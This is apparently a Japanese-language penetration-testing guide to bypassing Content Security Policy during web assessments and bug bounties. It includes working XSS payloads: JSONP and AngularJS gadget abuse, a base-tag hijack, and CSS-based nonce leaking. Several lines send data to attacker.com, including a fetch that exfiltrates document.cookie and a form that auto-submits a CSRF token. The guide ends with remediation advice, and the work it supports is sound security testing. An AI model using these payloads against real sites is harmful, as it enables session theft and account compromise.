performing-content-security-policy-bypass

コンテンツセキュリティポリシーのバイパス

使用する場面

• XSS が見つかったものの、コンテンツセキュリティポリシーによって実行がブロックされる場合
• CSP の有効性を評価するための Web アプリケーションセキュリティ評価時
• 既知のバイパス手法に対する CSP の堅牢性をテストする場合
• CSP によって XSS の直接的な悪用が阻止されるバグバウンティ活動時
• セキュリティ上の弱点がないか CSP ヘッダーの設定を監査する場合

前提条件

• レスポンスの傍受と CSP ヘッダーの分析に使用する Burp Suite
• ポリシーの自動分析に使用する CSP Evaluator（Google）
• CSP ディレクティブ（script-src、default-src、style-src など）の理解
• CSP バイパス手法（JSONP、base-uri、object-src）の知識
• CSP 違反の監視に使用するブラウザー開発者ツール
• ホワイトリスト登録済みドメインの JSONP エンドポイントの一覧

ワークフロー

ステップ 1 — CSP ポリシーを分析する

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

ステップ 2 — unsafe-inline と unsafe-eval を悪用する

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>

# If 'unsafe-inline' with nonce:
# unsafe-inline is ignored when nonce is present (CSP3)
# Focus on nonce leaking instead

ステップ 3 — ホワイトリスト登録済みドメインの JSONP エンドポイントを悪用する

# If CSP whitelists a domain with JSONP endpoints:
# script-src 'self' https://accounts.google.com

# Find JSONP endpoints on whitelisted domains
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# Common JSONP endpoints:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js

# If AngularJS is whitelisted (CDN):
# script-src includes cdnjs.cloudflare.com or ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

# Exploit JSONP on whitelisted APIs
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>

ステップ 4 — base-uri とフォームアクションのバイパスを悪用する

# If base-uri is not restricted:
# Inject <base> tag to redirect relative script loads
<base href="https://attacker.com/">
# All relative script src will load from attacker.com

# If form-action is not restricted:
# Steal data via form submission
<form action="https://attacker.com/steal" method="POST">
  <input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>

# If object-src is not restricted:
# Use Flash or plugin-based XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">

ステップ 5 — nonce とハッシュのバイパスを悪用する

# Nonce leaking via CSS attribute selectors
# If attacker can inject HTML (but not script due to CSP nonce):
<style>
  script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
  script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# Brute-force each character position to leak the nonce

# Nonce reuse detection
# If the same nonce is used across multiple pages or requests:
# Capture nonce from one page, use it to inject script on another

# DOM clobbering to override nonce checking
<form id="csp"><input name="nonce" value="attacker-controlled"></form>

# Script gadgets in whitelisted libraries
# If a whitelisted JS library has a gadget that creates scripts:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify bypass via prototype pollution

# Policy injection via reflected parameters
# If CSP header reflects user input:
# Inject: ;script-src 'unsafe-inline'
# Or inject: ;report-uri /csp-report;script-src-elem 'unsafe-inline'

ステップ 6 — script-src を使わずにデータを外部へ持ち出す

# Even without script execution, data exfiltration is possible:

# Via img-src (if allows external):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">

# Via CSS injection (if style-src allows unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>

# Via connect-src (if allows external):
<script nonce="valid">
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

# Via DNS prefetch:
<link rel="dns-prefetch" href="//data.attacker.com">

# Via WebRTC (if not blocked):
# WebRTC can leak data through STUN/TURN servers

主な概念

概念	説明
unsafe-inline	インラインスクリプトの実行を許可する CSP ディレクティブ。XSS 保護を無効にします
nonce ベースの CSP	ランダムな nonce を使用して特定のスクリプトを許可し、インジェクションされたスクリプトをブロックします
JSONP バイパス	ホワイトリスト登録済みドメインの JSONP エンドポイントを悪用し、攻撃者のコールバックを実行します
ポリシーインジェクション	ヘッダー内の反映されたユーザー入力を通じて CSP ディレクティブをインジェクションします
base-uri の乗っ取り	base 要素をインジェクションし、相対スクリプトの読み込み先をリダイレクトします
スクリプトガジェット	CSP のバイパスに悪用される可能性がある、正規のライブラリ機能です
CSP Report-Only	違反を記録するだけでブロックしない、強制適用されない CSP モードです

ツールとシステム

ツール	目的
CSP Evaluator	CSP ポリシーの弱点を分析する Google のツール
Burp Suite	CSP ヘッダーの分析とバイパステストに使用する HTTP プロキシ
CSP Scanner	CSP のバイパスの可能性を特定するブラウザー拡張機能
csp-bypass	CSP バイパス手法とペイロードをまとめたリスト
RetireJS	ホワイトリスト登録済み CDN 上の脆弱な JavaScript ライブラリを特定します
DOM Invader	DOM 操作を通じて CSP バイパスをテストする Burp ツール

よくあるシナリオ

1. JSONP コールバック XSS — ホワイトリスト登録済み CDN ドメインの JSONP エンドポイントを悪用し、XSS ペイロードを含む JavaScript コールバックを実行します
2. AngularJS サンドボックスエスケープ — ホワイトリスト登録済み CDN から AngularJS を読み込み、テンプレートインジェクションを使って CSP のスクリプト制限をバイパスします
3. nonce の漏えい — CSS インジェクションまたは DOM クロバーリングを通じて CSP の nonce 値を抽出し、有効な nonce を使ってスクリプトをインジェクションします
4. Base URI の乗っ取り — base 要素をインジェクションし、すべての相対スクリプトの読み込み先を攻撃者が制御するサーバーにリダイレクトします
5. Report-Only の悪用 — 違反が記録されるだけでブロックされない Report-Only モードの CSP を特定し、XSS を直接実行できるようにします

出力形式

## CSP Bypass Assessment Report
- **Target**: http://target.com
- **CSP Mode**: Enforced
- **Policy**: script-src 'self' https://cdn.jsdelivr.net; default-src 'self'

### CSP Analysis
| Directive | Value | Risk |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | JSONP/Library bypass possible |
| default-src | 'self' | Moderate |
| base-uri | Not set | base-uri hijacking possible |
| object-src | Not set (falls back to default-src) | Low |

### Bypass Techniques Found
| # | Technique | Payload | Impact |
|---|-----------|---------|--------|
| 1 | AngularJS via CDN | Load angular.min.js + template injection | Full XSS |
| 2 | Missing base-uri | <base href="https://evil.com/"> | Script hijack |

### Remediation
- Remove whitelisted CDN domains; use nonce-based or hash-based CSP
- Add base-uri 'self' to prevent base element injection
- Add object-src 'none' to block plugin-based execution
- Migrate from unsafe-inline to strict nonce-based policy
- Implement strict-dynamic for modern CSP3 browsers